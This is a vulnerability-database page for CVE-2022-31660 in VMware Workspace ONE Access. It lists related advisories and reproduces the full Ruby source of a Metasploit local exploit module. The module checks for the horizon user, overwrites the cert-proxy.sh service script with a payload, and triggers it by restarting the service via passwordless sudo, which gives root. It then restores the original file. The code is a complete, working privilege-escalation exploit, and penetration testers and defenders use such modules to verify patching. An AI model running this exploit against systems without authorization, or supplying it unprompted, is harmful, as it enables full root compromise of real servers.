| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| VMware Workspace ONE Access Privilege Escalation Exploit | 5 Aug 202200:00 | – | zdt | |
| CVE-2022-31660 | 5 Aug 202216:15 | – | attackerkb | |
| CVE-2022-31660 | 3 Aug 202222:11 | – | circl | |
| VMware Workspace One Access 权限许可和访问控制问题漏洞 | 4 Aug 202200:00 | – | cnnvd | |
| CVE-2022-31660 | 5 Aug 202215:05 | – | cve | |
| CVE-2022-31660 | 5 Aug 202215:05 | – | cvelist | |
| EUVD-2022-53094 | 5 Aug 202215:05 | – | euvd | |
| Update now! VMWare patches critical vulnerabilities in several products | 3 Aug 202213:27 | – | malwarebytes | |
| Update now! VMWare patches critical vulnerabilities in several products | 3 Aug 202213:00 | – | malwarebytes | |
| VMware Workspace ONE Access CVE-2022-31660 | 29 Aug 202218:02 | – | metasploit |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Unix
TARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'VMware Workspace ONE Access CVE-2022-31660',
'Description' => %q{
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges
to those of the root user by modifying a file and then restarting the vmware-certproxy service which
invokes it. The service control is permitted via the sudo configuration without a password.
},
'License' => MSF_LICENSE,
'Author' => [
'Spencer McIntyre'
],
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultOptions' => {
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Privileged' => true,
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2022-31660' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]
],
'DisclosureDate' => '2022-08-02',
'Notes' => {
# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service
# is disabled by default though.
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
}
)
)
end
def certproxy_service
# this script's location depends on the version, so find it.
return @certproxy_service if @certproxy_service
@certproxy_service = [
'/usr/local/horizon/scripts/certproxyService.sh',
'/opt/vmware/certproxy/bin/certproxyService.sh'
].find { |path| file?(path) }
vprint_status("Found service control script at: #{@certproxy_service}") if @certproxy_service
@certproxy_service
end
def sudo(arguments)
cmd_exec("sudo --non-interactive #{arguments}")
end
def check
unless whoami == 'horizon'
return CheckCode::Safe('Not running as the horizon user.')
end
token = Rex::Text.rand_text_alpha(10)
unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
return CheckCode::Safe('Cannot invoke the service control script with sudo.')
end
unless writable?(TARGET_FILE)
return CheckCode::Safe('Cannot write to the service file.')
end
CheckCode::Appears
end
def exploit
# backup the original permissions and contents
print_status('Backing up the original file...')
@backup = {
stat: stat(TARGET_FILE),
contents: read_file(TARGET_FILE)
}
if payload.arch.first == ARCH_CMD
payload_data = "#!/bin/bash\n#{payload.encoded}"
else
payload_data = generate_payload_exe
end
upload_and_chmodx(TARGET_FILE, payload_data)
print_status('Triggering the payload...')
sudo("--background #{certproxy_service} restart")
end
def cleanup
return unless @backup
print_status('Restoring file contents...')
file_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it
write_file(TARGET_FILE, @backup[:contents])
print_status('Restoring file permissions...')
chmod(TARGET_FILE, @backup[:stat].mode & 0o777)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation